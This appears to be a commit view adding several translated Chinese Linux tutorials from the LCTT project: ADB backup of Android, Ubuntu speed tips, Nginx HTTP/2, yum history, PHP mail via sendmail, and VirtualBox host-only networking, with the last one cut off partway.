Android 自带一套开发工具。有许多种开发工具,但人们最为感兴趣的项目是 ADB或者叫做 <ruby>Android 调试桥<rt> Android Debug Bridge</rt></ruby>)。它允许用户通过命令行直接访问任何 Android 设备。有了这个工具,一切皆有可能 - 包括备份整个 Android 设备。在这篇文章中,将讨论如何在 Ubuntu 系统上完成这件事。
**注**:这篇教程是针对 Ubuntu Linux 系统的。不过, ADB 在 Windows 系统和 Mac 上也是可用的,也可以在这些平台上对 Android 数据进行备份。[下载针对 Windows 和 Mac 的 ADB 版本。][10]
### 安装 ADB 并启用 USB 调试
打开一个终端窗口,然后输入下面的命令来安装 ADB它将与 Android 进行会话。
```
sudo apt install adb
```
![adb-install-adb-ubuntu](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/02/adb-install-adb-ubuntu.jpg "adb-install-adb-ubuntu")
在系统上安装好 ADB 工具以后,需要在 Android 内部启动调试。首先打开 Android 的<ruby>设置<rt>Settings</rt></ruby>区域。然后一直滚动到底部找到“<ruby>关于手机<rt>About Phone</rt></ruby>”并点击。这将打开“<ruby>电话状态<rt>Phone status</rt></ruby>”页。在这一页面上再次滚动到底部,找到“<ruby>版本号<rt>Build number</rt></ruby>”并点击七次,从而启动开发者模式。
![adb-about-phone](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/02/adb-about-phone.jpg "adb-about-phone")
为了进入<ruby>开发者设置<rt>Developer Settings</rt></ruby>,按设备上的返回键返回上一页面。在“设置”中将会出现一个新的选项:“<ruby>开发者选项<rt>Developer options</rt></ruby>”。点击它进入开发者设置区域。滚动页面直到看到 “<ruby>Android 调试<rt>Android debugging</rt></ruby>”(或它的一些其他名称),点击它启用设置。
### 备份
使用 ADB 创建一个备份就如同运行一个命令一样简单。首先,用一根与 Android 设备匹配的 USB 线将 Android 设备连接到电脑上。然后打开终端运行下面的命令:
```
adb start-server
```
这将启动 ADB 服务器。运行这个命令时,要快速解锁 Android 设备,因为 ADB 将强制出现一个确认窗口,必须选择接受后才可继续。
![adb-all-usb-debugging](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/02/adb-all-usb-debugging.jpg "adb-all-usb-debugging")
要启动备份进程,打开终端,然后执行下面的备份命令。该命令将读取 Android 上的文本信息以及其他应用数据,然后存入加密文件中。
```
adb backup -apk -shared -all -f backup-file.adb
```
![adb-full-backup](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/02/adb-full-backup.jpg "adb-full-backup")
当运行备份命令时Android 会在启动备份进程前提示用户查看 Android 并设置加密文件的密码。请输入一个强壮而容易记住的密码。然后,点击“备份我的数据”按钮。备份过程将会花费一定时间。备份完成以后,在目录 `/home/username/` 中会出现一个叫做 `backup-file.adb` 的文件。
### 恢复备份
要恢复备份,首先启用 ADB 服务器(像上面提到的一样),然后运行下面这个命令来还原备份数据:
```
adb restore backup-file.adb
```
![adb-full-restore](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/02/adb-full-restore.jpg "adb-full-restore")
再次转到 Android 因为 ADB 将提示用户输入密码。这次,不是创建一个密码,而是需要输入之前创建的那个密码。在点击 “<ruby>恢复我的数据<rt>restore my data</rt></ruby>” 以后,恢复进程就开始了。耐心点,因为这可能需要一定时间。
### 结论
没有多少 Android 用户知道这样备份数据,但是 ADB 的确很强大。利用它甚至可以获得对设备的 root 访问。事实上,利用这个工具还可以做很多的事情,需要更多的文章来讨论它。
你还知道 ADB 可以用来干什么吗?请在下面的评论区告知我们!
--------------------------------------------------------------------------------
via: https://www.maketecheasier.com/back-up-android-data-adb-ubuntu/
作者:[Derrik Diener][a]
译者:[ucasFL](https://github.com/ucasFL)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://www.maketecheasier.com/author/derrikdiener/
[1]:https://www.maketecheasier.com/author/derrikdiener/
[2]:https://www.maketecheasier.com/back-up-android-data-adb-ubuntu/#comments
[3]:https://www.maketecheasier.com/category/linux-tips/
[4]:http://www.facebook.com/sharer.php?u=https%3A%2F%2Fwww.maketecheasier.com%2Fback-up-android-data-adb-ubuntu%2F
[5]:http://twitter.com/share?url=https%3A%2F%2Fwww.maketecheasier.com%2Fback-up-android-data-adb-ubuntu%2F&text=How+to+Back+Up+Your+Android+Data+with+ADB+on+Ubuntu
[6]:mailto:?subject=How%20to%20Back%20Up%20Your%20Android%20Data%20with%20ADB%20on%20Ubuntu&body=https%3A%2F%2Fwww.maketecheasier.com%2Fback-up-android-data-adb-ubuntu%2F
[7]:https://www.maketecheasier.com/download-appx-files-from-windows-store/
[8]:https://www.maketecheasier.com/airy-youtube-video-downloader-2/
[9]:https://support.google.com/adsense/troubleshooter/1631343
[10]:https://developer.android.com/studio/command-line/adb.html

View File

@ -0,0 +1,94 @@
加速老旧 Ubuntu 系统的技巧
============
[
![Tips To Improve Ubuntu Speed](http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/tips-to-improve-ubuntu-speed_orig.jpg)
][2]
你的 Ubuntu 系统可以运行得如此顺畅,以至于你会奇怪为什么没有早一些从那些桌面加载很慢的操作系统(比如 Windows转过来。Ubuntu 在大多数现代化的机器上都能够很顺畅的运行,一些更老的机器使用 Ubuntu 系统的一些变种版本,比如 Lubuntu、Xubuntu 和 [Ubuntu MATE][6],同样给人留下了深刻印象。极少的情况下,你对 Ubuntu 桌面的使用体验会越来越糟。如果非常不走运,你的 Ubuntu 系统并没有像你所希望的那样运行顺畅,那么你可以做一些事情来提高系统性能和响应速度。
不过首先我们来看一看为什么电脑会运行得很慢?下面是我列举的一些原因:
1. 电脑陈旧
2. 安装了太多的应用
3. 系统里的一些东西坏了
4. 还有更多的原因...
现在让我们来看一些改善这个问题的技巧。
### 1、 <ruby>交换值<rt>Swappiness</rt></ruby>
如果你的系统有一个交换分区,那么这个技巧对你是最适合的(注:交换分区不建议为固态驱动器,因为这样会缩短驱动器的使用寿命)。交换分区可以帮助系统,特别是内存容量较低的系统,来管理系统内存。将数据写入交换分区(硬盘)比写入内存要慢一些,所以你可以通过减少 `swappiness` 值来限制数据写入交换分区的频率。默认情况下, Ubuntu 的 `swappiness` 值是 60% 所以你可以通过下面的命令将它减至 10%
```
sudo bash -c "echo 'vm.swappiness = 10' >> /etc/sysctl.conf"
```
### 2、 停止索引
索引的目的是加快搜索结果,但另一方面,索引会导致较老配置的系统出现一些问题。为了停止索引,输入下面的命令来移除索引工具:
```
sudo apt-get purge apt-xapian-index
```
### 3、 管理<ruby>启动应用<rt>startup applications</rt></ruby>
启动应用会对系统性能造成很大的影响。当你安装一些应用以后,这些应用会添加启动项,从而当你启动系统的时候它们也跟着启动,但你可以移除这些应用以提高系统性能。通过在 Unity 窗口搜索打开 “启动应用”。绝大多数自启动选项都会被隐藏,所以在终端输入下面的命令使它们可见然后你就可以停止某些 “启动应用”了:
```
sudo sed -i "s/NoDisplay=true/NoDisplay=false/g" /etc/xdg/autostart/\*.desktop
```
[
![ubuntu startup application](http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/ubuntu-startup-application_orig.jpg)
][3]
### 4、 尝试预载入
预载入(`preload` 是一个守护进程/后台服务,它可以监控系统上使用的应用程序,它会将所需要的二进制库在其需要加载到内存前就预先载入,以便应用程序启动得更快。在终端输入下面的命令安装预载入:
```
sudo apt-get install preload
```
### 5、 选择更加轻量型的应用
你在 Ubuntu 桌面上使用什么应用程序呢?有更轻量的替代品吗?如果有,就替换成它们——如果它们也能满足你的需求的话。 LibreOffice 能够给你最好的办公体验,但是它的替代品,比如 Abiword 能够很大程度的改善系统性能。
### 6、 切换到一个更加轻量型的桌面环境
你在 Ubuntu 系统上使用的桌面环境是 Unity 或 KDE 吗?这些桌面环境对系统的要求很高。相反,你可以在当前桌面环境之外同时安装一个 LxQt 或者 XFCE 环境,然后切换到它们。或者,你也可以换到 Ubuntu 的不同变种版本,比如 Lubuntu 或 Xubuntu ,从而享受更快的体验。
### 7、 清理系统垃圾
尽管 Ubuntu 系统不会变得像 Windows 系统那么慢,但它还是会变慢。清除系统里不需要的文件可以改善系统性能。尝试使用 Ubuntu Tweak 工具中的 Janitor 工具来清理系统。还有一个 Bleachbit 工具也可用来清理系统。
同时请阅读 - [Bleachbit - CCleaner 的一个替代品][1]
### 8、 尝试重新安装
有时,一些东西可能坏了,清理垃圾或者使用上面提到的大多数技巧都没用。这时,你唯一的选择就是备份文件,然后尝试重新安装。
### 9、 升级硬件
我列表上的最后一个技巧是升级硬件。在绝大多数情况下,这是可以的。如果可以这样做,那将极大的提高系统性能。你可以增加已安装的内存, 从传统磁盘切换到固态驱动器或者升级你的处理器,特别是如果你在台式电脑上运行 Ubuntu 系统,这将极大提高系统性能。
### 结论
我希望这些技巧能够陪伴你走很长的一段路,让你的 Ubuntu 桌面以一个**令人印象深刻的速度**运行。注意,你不需要尝试所有的技巧,只需要找到一个适合你的情况的技巧,然后观察系统响应如何变化。你还知道其他提高 Ubuntu 系统性能的技巧吗?请在评论里分享给我们。
--------------------------------------------------------------------------------
via: http://www.linuxandubuntu.com/home/tips-to-improve-ubuntu-speed
作者:[linuxandubuntu.com][a]
译者:[ucasFL](https://github.com/ucasFL)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.linuxandubuntu.com/home/tips-to-improve-ubuntu-speed
[1]:http://www.linuxandubuntu.com/home/bleachbit-an-alternative-to-ccleaner-on-linux
[2]:http://www.linuxandubuntu.com/home/tips-to-improve-ubuntu-speed
[3]:http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/ubuntu-startup-application_orig.jpg
[4]:http://www.linuxandubuntu.com/home/tips-to-improve-ubuntu-speed
[5]:http://www.linuxandubuntu.com/home/tips-to-improve-ubuntu-speed#comments
[6]:http://www.linuxandubuntu.com/home/linuxandubuntu-distro-review-of-the-week-ubuntu-mate-1610

View File

@ -0,0 +1,110 @@
如何在 Ubuntu 和 CentOS 上启用 Nginx 的 HTTP/2 协议支持
===
![](https://www.rosehosting.com/blog/wp-content/uploads/2017/02/enable-http2-nginx.jpg)
HTTP/2 是 HTTP 网络协议的主要修订版本,其专注于 HTTP 协议的性能改进。HTTP/2 协议的目标是减少延迟,并且允许在 Web 浏览器和服务器之间的一个连接上并行发起多个请求,因此 Web 应用程序会更快。在本篇教程中,我们将像你展示如何在安装有 Ubuntu 或 CentOS 作为操作系统的 Linux VPS 上使用开启 Nginx 的 HTTP/2 协议。如果你使用 Apache你可以查看我们的另一篇教程[如何在 Ubuntu 上开启 Apache 的 HTTP/2 协议][6]。
### 必备条件
为了能够按照本篇教程最终在服务器上启用 HTTP/2 协议,你需要先安装好 [Nginx][7] 。并且确保功能正常而且配置没有错误。你可以使用下面的命令来检查一下:
```
sudo nginx -t
```
此外,你需要有服务器的 root 访问权限,或者至少有一个具有 sudo 权限的非 root 系统用户,以便你在修改 Nginx 配置文件的时候不会出现权限问题。最后你需要有一个[域名][8]和一个颁发给这个域名的有效的 [SSL 证书][9]。
### 在 Ubuntu 上开启 Nginx 的 HTTP/2 协议
为了在 [Ubuntu VPS][10] 上开启 Nginx 的 HTTP/2 协议,你需要编辑默认的 Nginx 的服务(`server`)块,我们使用的是 `nano`,你可以使用你自己的文本编辑器。
```
sudo nano /etc/nginx/sites-available/default
```
增加下面的服务块:
```
server {
server_name domain.com www.domain.com;
listen 443 ssl http2 default_server;
root /var/www/html;
index index.html;
location / {
try_files $uri $uri/ =404;
}
ssl_certificate /etc/nginx/ssl/domain.com.crt;
ssl_certificate_key /etc/nginx/ssl/domain.com.key;
}
server {
listen 80;
server_name domain.com www.domain.com;
return 301 https://$server_name$request_uri;
}
```
确保 `domain.com` 替换成你真正的域名。 此外,应正确设置文档根(`root`)目录,还有 SSL 证书和密钥的路径。
当你编辑完成这个服务块之后,需要保存并关闭文件。使用以下命令检查 Nginx 配置是否有错误:
```
sudo nginx -t
```
为了刚刚的改变生效,需要重启 Nginx
```
sudo systemctl restart nginx.service
```
如果你想为另一个域名开启 HTTP/2 协议,你可以查看我们的博客[如何在 Ubuntu 和 CentOS 上设置 Nginx 服务块][11]。
### 在 CentOS 上开启 Nginx 的 HTTP/2 协议
为了在 [CentOS VPS][12] 开启 Nginx 的 HTTP/2 协议,你需要按照 Ubuntu 上完全相同的步骤做。唯一的不同点是 Nginx 块文件的位置。为了在 CentOS 上编辑默认的 Nginx 服务块,你需要进入 `/etc/nginx/conf.d` 这个文件夹。
```
# nano /etc/nginx/conf.d/default.conf
```
再次检查配置是否有错误,保存并关闭文件,然后使用以下命令重新启动 Nginx 服务:
```
# systemctl restart nginx.service
```
为了检测 Nginx 的 HTTP/2 协议是否开启成功,你可以使用一些[在线 HTTP/2 检测工具][13]。
当然如果你使用我们的 [Linux VPS 主机][14]服务,在这种情况下你可以简易地要求我们的专家级的 Linux 管理员帮助你在你的服务器上启用 Nginx 的 HTTP/2 协议。他们提供 7×24 小时的服务,并且会很快关注的你要求。
PS如果你喜欢这篇文章请使用下面的按钮分享给你社交网络上的朋友们或者发表一下评论。谢谢。
--------------------------------------------------------------------------------
via: https://www.rosehosting.com/blog/how-to-enable-http2-in-nginx-on-ubuntu-and-centos/
作者:[rosehosting.com][a]
译者:[Flowsnow](https://github.com/Flowsnow)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]: https://www.rosehosting.com/blog/how-to-enable-http2-in-nginx-on-ubuntu-and-centos/
[1]: https://www.rosehosting.com/blog/how-to-enable-http2-in-nginx-on-ubuntu-and-centos/
[2]: https://www.rosehosting.com/blog/how-to-enable-http2-in-nginx-on-ubuntu-and-centos/#comments
[3]: https://www.rosehosting.com/blog/category/tutorials/
[4]: https://plus.google.com/share?url=https://www.rosehosting.com/blog/how-to-enable-http2-in-nginx-on-ubuntu-and-centos/
[5]: http://www.linkedin.com/shareArticle?mini=true&amp;url=https://www.rosehosting.com/blog/how-to-enable-http2-in-nginx-on-ubuntu-and-centos/&amp;title=How%20to%20Enable%20HTTP%2F2%20in%20Nginx%20on%20Ubuntu%20and%20CentOS&amp;summary=HTTP/2%20is%20a%20major%20revision%20of%20the%20HTTP%20network%20protocol%20and%20it%20focuses%20on%20performance%20improvements.%20Its%20goal%20is%20to%20reduce%20the%20latency%20as%20well%20as%20to%20make%20the%20web%20applications%20faster%20by%20allowing%20multiple%20concurrent%20requests%20between%20the%20web%20browser%20and%20the%20server%20across%20a%20single%20TCP%20connection.%20In%20...
[6]: https://www.rosehosting.com/blog/how-to-set-up-apache-with-http2-support-on-ubuntu-16-04/
[7]: https://www.rosehosting.com/nginx-hosting.html
[8]: https://secure.rosehosting.com/clientarea/index.php?/checkdomain/domain-registration/
[9]: https://www.rosehosting.com/ssl-certificates.html
[10]: https://www.rosehosting.com/ubuntu-vps.html
[11]: https://www.rosehosting.com/blog/how-to-set-up-nginx-server-blocks-on-ubuntu-and-centos/
[12]: https://www.rosehosting.com/centos-vps.html
[13]: https://www.rosehosting.com/network-tools/http2-support.html
[14]: https://www.rosehosting.com/linux-vps-hosting.html

View File

@ -0,0 +1,191 @@
使用 Yum 历史查找已安装或已删除的软件包信息
============================================================
[Yum][1] 是 RHEL/CentOS 的一个基于 rpm 的交互式高级包管理器,用户可以用它来安装新的软件包、卸载或清除旧的/不需要的软件包。它可以[自动运行系统更新][2],并执行依赖分析,对已安装的或可用的软件包进行查询等等。
在本文中,我们将解释如何查看 Yum 事务的历史记录,以便于了解有关安装的软件包以及从系统中所卸载/清除软件包的信息。
**推荐阅读:** [20 条关于 Linux 软件包管理的 Yum 命令][3]
以下是一些如何使用 Yum 历史命令的示例。
### 查看完整的 Yum 历史
要查看 Yum 事务完整的历史记录,我们可以运行以下命令,然后将显示:事务 ID、执行特定操作的用户、操作发生的日期和时间、实际操作以及任何错误的附加信息与操作
```
# yum history
```
[![查看 Yum 历史](http://www.tecmint.com/wp-content/uploads/2017/02/View-Yum-History.png)][4]
### 使用 Yum 查找软件包信息
`history` 的子命令:`info`/`list`/`summary` 可以将事务 ID 或包名作为参数。此外,`list` 子命令可以加上特殊的参数,`all` 表示所有的事务。
运行以下命令查看先前的历史:
```
# yum history list all
```
并且,你可以使用下面的 `info` 命令查看涉及指定软件包的事务详情,例如 `httpd`
```
# yum history info httpd
```
[![Yum - 查找软件包信息](http://www.tecmint.com/wp-content/uploads/2017/02/Yum-Find-Package-Info.png)][5]
发出以下命令可以获得包含 `httpd` 软件包的事务的摘要:
```
# yum history summary httpd
```
[![Yum - 查找软件包的摘要](http://www.tecmint.com/wp-content/uploads/2017/02/Yum-Find-Summary-of-Package.png)][6]
还可以使用事务的 ID 来查找,以下命令会显示 ID 为 `15` 的事务的详情。
```
# yum history info 15
```
[![Yum - 使用 ID 查找软件包信息](http://www.tecmint.com/wp-content/uploads/2017/02/Find-Package-Info-Using-ID.png)][7]
### 使用 yum history 查找软件包事务信息
有一些用于打印某个或多个软件包事务详情的子命令。我们可以使用 `package-list` 或 `package_info` 查看关于 `httpd` 的更多信息,例如:
```
# yum history package-list httpd
# yum history package-info httpd
```
[![Yum - 查找软件包事务信息](http://www.tecmint.com/wp-content/uploads/2017/02/Find-Package-Transaction-Info.png)][8]
要得到多个软件包的记录,我们可以运行:
```
# yum history package-list httpd epel-release
# yum history packages-list httpd epel-release
```
[![Yum - 查找多个软件包的信息](http://www.tecmint.com/wp-content/uploads/2017/02/Find-Multiple-Package-Info.png)][9]
### 使用 Yum 回滚软件包
此外,还有一些 `history` 的子命令可以让我们撤销/重做/回滚事务。
1. `undo` - 会撤销一个指定的事务。
2. `redo` - 重复一次指定的事务。
3. `rollback` - 撤销指定事务之后的所有事务。
它们采用单个事务 id 或关键字 `last` 和从最后一个事务开始的偏移量。
例如,假设我们已经做了 60 个事务,`last` 是指事务 60`last-4` 指向事务 56。
**推荐阅读:** [怎样使用 `yum-utils` 来维护以及加速 Yum][10]
以上子命令是如下工作的:如果我们有 5 个事务——VWXY 和 Z其中分别是安装各个软件包的。
```
# yum history undo 2 #将删除软件包 W
# yum history redo 2 #将重新安装软件包 W
# yum history rollback 2 #将删除软件包 X、 Y 和 Z
```
在下面的示例中,事务 2 是一个更新操作,如下所示,以下 `redo` 命令将重复事务 2 直到所有软件包到更新到当前时间的最新版本:
```
# yum history | grep -w "2"
```
[![Yum - 查找软件包事务的 ID](http://www.tecmint.com/wp-content/uploads/2017/02/Find-Yum-Package-Transaction-ID.png)][11]
```
# yum history redo 2
```
[![用 Yum 重新更新软件包](http://www.tecmint.com/wp-content/uploads/2017/02/Yum-Redo-Package-Update.png)][12]
`redo` 子命令同样可以在我们指定事务之前加上一些可选的参数:
1. `force-reinstall` - 重新安装所有在此事务中安装的软件包(通过 `yum install`、`upgrade` 或 `downgrade`)。
2. `force-remove` - 移除所有已经更新或回滚的软件包。
```
# yum history redo force-reinstall 16
```
[![Yum - 强制安装软件包](http://www.tecmint.com/wp-content/uploads/2017/02/Yum-Force-Install-Package.png)][13]
### 查找 Yum 历史数据库和来源信息
这些子命令为我们提供有关历史记录数据库和其它信息来源的信息:
1. `addon-info` - 提供更多的信息来源。
2. `stats` - 显示当前历史数据库的统计信息。
3. `sync` - 使我们能够更改为所有已安装软件包存储的 `rpmdb`/`yumdb` 数据。
看一下以下的命令的子命令实际上是怎样工作的:
```
# yum history addon-info
# yum history stats
# yum history sync
```
使用 `new` 子命令设置新的历史文件:
```
# yum history new
```
我们可以在 yum 手册页找到关于 Yum `history` 命令和其它几个命令的完整信息:
```
# man yum
```
**推荐阅读:** [4 个使用 Yum 禁用/锁定某些软件包更新的方法][14]
就是这么多了。在本篇指南中,我们介绍了各种 Yum `history` 命令,以查看 Yum 事务的详细信息。
--------------------------------------------------------------------------------
作者简介:
Aaron Kili 是 Linux 和 F.O.S.S 的爱好者,目前任 TecMint 的作者,志向是一名 Linux 系统管理员、web 开发者。他喜欢用电脑工作,并热衷于分享知识。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/view-yum-history-to-find-packages-info/
作者:[Aaron Kili][a]
译者:[OneNewLife](https://github.com/OneNewLife)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.tecmint.com/author/aaronkili/
[1]:http://www.tecmint.com/20-linux-yum-yellowdog-updater-modified-commands-for-package-mangement/
[2]:http://www.tecmint.com/auto-install-security-patches-updates-on-centos-rhel/
[3]:http://www.tecmint.com/20-linux-yum-yellowdog-updater-modified-commands-for-package-mangement/
[4]:http://www.tecmint.com/wp-content/uploads/2017/02/View-Yum-History.png
[5]:http://www.tecmint.com/wp-content/uploads/2017/02/Yum-Find-Package-Info.png
[6]:http://www.tecmint.com/wp-content/uploads/2017/02/Yum-Find-Summary-of-Package.png
[7]:http://www.tecmint.com/wp-content/uploads/2017/02/Find-Package-Info-Using-ID.png
[8]:http://www.tecmint.com/wp-content/uploads/2017/02/Find-Package-Transaction-Info.png
[9]:http://www.tecmint.com/wp-content/uploads/2017/02/Find-Multiple-Package-Info.png
[10]:http://www.tecmint.com/linux-yum-package-management-with-yum-utils/
[11]:http://www.tecmint.com/wp-content/uploads/2017/02/Find-Yum-Package-Transaction-ID.png
[12]:http://www.tecmint.com/wp-content/uploads/2017/02/Yum-Redo-Package-Update.png
[13]:http://www.tecmint.com/wp-content/uploads/2017/02/Yum-Force-Install-Package.png
[14]:http://www.tecmint.com/yum-lock-disable-blacklist-certain-package-update-version/
[15]:http://www.tecmint.com/author/aaronkili/
[16]:http://www.tecmint.com/10-useful-free-linux-ebooks-for-newbies-and-administrators/
[17]:http://www.tecmint.com/free-linux-shell-scripting-books/

View File

@ -0,0 +1,76 @@
在 CentOS 7 中使用 Sendmail 通过 PHP 发送邮件
============================================================
![sendmail logo](http://fasterland.net/wp-content/uploads/2017/02/sendmail-logo-750x450.png)
如果你运行了一个 web 服务器或者一台 VPS ,你可能需要在你的 PHP 程序中发送邮件。
同样,如果你正在运行一个 WordPress 博客,或者你正在使用任何类型的 CMS ,你允许你的访问者通过联系表单向你发送电子邮件(例如使用 WordPress 的*[Contact Form 7][3] 插件),你可能需要安装一个名为 [sendmail][4] 的简单的程序到你的 web 服务器上。
> Sendmail 是一个通用的互联网电子邮件投递工具,支持多种邮件传输和传递方法,包括用于通过 Internet 进行电子邮件传输的简单邮件传输协议SMTP。[来自 Wikipedia][5]。
Sendmail 可以通过你的发行版的软件包管理器安装。
以下是在 CentOS 7 上安装 Sendmail 的说明。
### 安装
要在 CentOS 7 中安装 CentOS 7 ,运行下面的命令:
```
# yum install sendmail
```
### 允许服务器可以发送邮件
如果在 CentOS 7 中使用了 SELinux 你需要使用下面的命令允许 sendmail 发送邮件:
```
# setsebool -P httpd_can_sendmail=on
```
### 使用 PHP 发送一封测试邮件
使用这个命令进入 php 交互 shell 中:
```
php -a
```
在交互 shell 中,粘贴下面的代码:
```
mail ('user@receiver.com', "Test email", "Test email from the Internet", null, "-f user@sender.com");
```
不要忘记将 `user@receiver.com``user@sender.com` 分别替换为你的收件地址和发件地址。
### 浏览 sendmail 日志
要监控邮件日志,你可以使用这个命令:
```
tail /var/log/maillog
```
在服务器上安装 sendmail 完成后,你可以允许你的用户通过联系栏通过邮件联系你了。
--------------------------------------------------------------------------------
via: http://fasterland.net/sending-email-via-php-centos-7-using-sendmail.html
作者:[Francesco Mondello][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://fasterland.net/
[1]:http://fasterland.net/author/faster3ck
[2]:http://fasterland.net/
[3]:https://wordpress.org/plugins/contact-form-7/
[4]:http://www.sendmail.com/sm/open_source/
[5]:https://en.wikipedia.org/wiki/Sendmail
[6]:http://fasterland.net/category/server-admin

View File

@ -0,0 +1,245 @@
如何配置 VirtualBox 中的客户机与宿主机之间的网络连接
============================================================
当你在 [VirtualBox 虚拟机软件][2] 中安装了各种操作系统时,你可能需要实现宿主机与虚拟机之间的相互访问。
在这篇文章中,我们将会以最简单明了的方式来说明如何配置客户机与 Linux 宿主机的网络以实现两者相互访问或者让客户机连接到外网。LCTT 译注:客户机指 Oracle VirtualBox 虚拟机软件中安装的操作系统,如本文中用到的 CentOS 7  Ubuntu 16.10 。宿主机就是你自己的笔记本电脑或台式机,注意这篇文章中作者的宿主机上安装的操作系统是 Linux Mint 18 ,而不是我们平时使用的 Windows 系统。)
本文测试环境:
1、宿主机操作系统—— Linux Mint 18
2、客户机操作系统—— CentOS 7  Ubuntu 16.10
#### 要求
1、宿主机上安装的 [Oracle VirtualBox 虚拟机][1] 能正常使用。
2、你得事先在 Oracle virtualBox 虚拟机软件中安装好客户机操作系统,比如 Ubuntu、Fedora、CentOS、 Linux Mint 或者其它的 Linux 系统也行。
3、在你配置网络前请先关闭客户机。
为了让宿主机和客户机能够互相联通,这两个机器的默认网卡 IP 必须设置在同一网段,你可以为客户机添加多达 4 块网卡。
默认网卡(网卡 1通常用于使用 NAT 连接方式连接到宿主机进行上网。
重要提示:通常总是设置第一块网卡与宿主机通信,第二块网卡连接到外网。
### 为客户机和宿主机创建网卡
在下面的 VirtualBox 管理器界面,创建客户机和宿主机之间的通信网卡。
打开文件->首选项配置,或者使用组合键 `Ctrl + G`
[
![Virtualbox Preferences Window](http://www.tecmint.com/wp-content/uploads/2017/02/Virtualbox-Preferences-Window.png)
][3]
*Virtualbox 首选项界面*
在下图中有两个选项,单击并选择仅主机( Host-only )网络。然后使用右侧的 `+` 按钮来添加一个新的仅主机网络。
[
![Set Guest Network](http://www.tecmint.com/wp-content/uploads/2017/02/Set-Guest-Network.png)
][4]
*设置客户机网络*
这样就创建好了一个名为 vboxnet0 的新的仅主机模式网卡。
如果你愿意,你可以使用中间的 `-` 按钮来删除这个网卡,你可以单击编辑按钮来查看这个网卡的详细配置信息。
你也可以根据自己的实际环境修改配置信息,比如网络地址,子网掩码等等。
注意:下图中的 IPv4 地址就是你的宿主机的 IP 地址。
[
![Host Network Details](http://www.tecmint.com/wp-content/uploads/2017/02/Host-Network-Details.png)
][6]
*宿主机网络信息*
下图中,如果你想让客户机使用动态 IP 地址,你可以通过配置 DHCP 服务来完成(在使用前请确保启用 DHCP )。但是我建议你为客户机配置一个静态 IP 地址。
在下面的设置所有网络界面单击 OK 按钮来保存修改的配置。
[
![Set Guest Static IP aAddress](http://www.tecmint.com/wp-content/uploads/2017/02/Set-Guest-Static-IP-Address.png)
][7]
*为客户机设置静态 IP 地址*
#### 配置客户机网络设置
注意:你可以根据下面的步骤来为任何需要与宿主机通信的客户机添加网卡。
回到 VirtualBox 管理器界面,选择客户机,比如  Ubuntu 16.10 Server 或者 CentOS 7 ,然后单击设置菜单。
[
![Configure VM Settings](http://www.tecmint.com/wp-content/uploads/2017/02/Configure-VM-Settings.png)
][8]
*配置客户机网络设置*
#### 配置客户机网卡以连接到宿主机
从下图的界面中选择网络选项。然后配置第一块网卡( 网卡 1 )的信息如下:
1、勾选选项“启用网卡”来开启该网卡。
2、在连接方式选项选择仅主机 Host-only )网络。
3、然后选择网卡名称vboxnet0
如下图所示,单击 OK 来保存设置:
[
![Enable Network Adapter for Guest VM](http://www.tecmint.com/wp-content/uploads/2017/02/Enable-Network-Adapter-for-Guest-VM.png)
][9]
*启用客户机网络*
#### 配置客户机网卡连接外网
之后添加第二块网卡(网卡 2 )来让客户机连接到宿主机进行上网。使用下面的设置:
1、勾选选项“启用网络连接”来激活这块网卡。
2、在连接方式选项选择 NAT 方式。
[
![Enable Network Adapter for VM](http://www.tecmint.com/wp-content/uploads/2017/02/Enable-Network-Adapter-for-VM.png)
][10]
为客户机启用网络连接
#### 为客户机设置静态 IP 地址
启动客户机,登录系统并[配置静态 IP 地址][11]。在客户机上执行下面的命令来查看所有网卡配置信息,然后分配一个 IP 地址:
```
$ ip add
```
[
![Configure Static IP Address for VM](http://www.tecmint.com/wp-content/uploads/2017/02/Configure-Static-IP-Address-for-VM.png)
][12]
*为客户机配置静态 IP 地址*
从上面的截图中可以看出客户机已启用了三块网卡:
1、`lo` ——回环网络接口
2、`enp0s3` (网卡 1—— 前一步我们配置的连接方式为仅主机( Host-Only模式并且已启用 DHCP 的网卡,之后我们又配置成了静态 IP 地址。
3、`enp0s8` (网卡 2—— 用于连接到外网。该网卡默认情况下使用 DHCP 来动态获取 IP 地址。
##### 在 Debian/Ubuntu/Linux Mint 系统下的配置
重要提示: 这里我使用的是 Ubuntu 16.10 Server IP 地址为 192.168.56.5 。
使用你喜欢的编辑器及管理员账号打开 `/etc/network/interfaces` 配置文件:
```
$ sudo vi /etc/network/interfaces
```
修改网卡 enp0s3 的配置信息如下(根据你的实际环境进行修改):
```
auto enp0s3
iface enp0s3 inet static
address 192.168.56.5
network 192.168.56.0
netmask 255.255.255.0
gateway 192.168.56.1
dns-nameservers 8.8.8.8 192.168.56.1
```
保存并退出。
然后使用下面的命令来重启网络服务:
```
$ sudo systemctl restart networking
```
或者,正常重启系统,然后检查网络配置是否为新的 IP 地址:
```
$ ip add
```
#####在 RHEL/CentOS/Fedora 系统下的配置
重要提示: 这里我使用的是 CentOS 7 系统, IP 地址为: 192.168.56.10 。
使用管理员帐号及你喜欢的编辑器打开 enp0s3 (仅主机网络)的网卡配置文件 `/etc/sysconfig/network-scripts/ifcfg-enp0s3`
```
$ sudo vi /etc/sysconfig/network-scripts/ifcfg-enp0s3
```
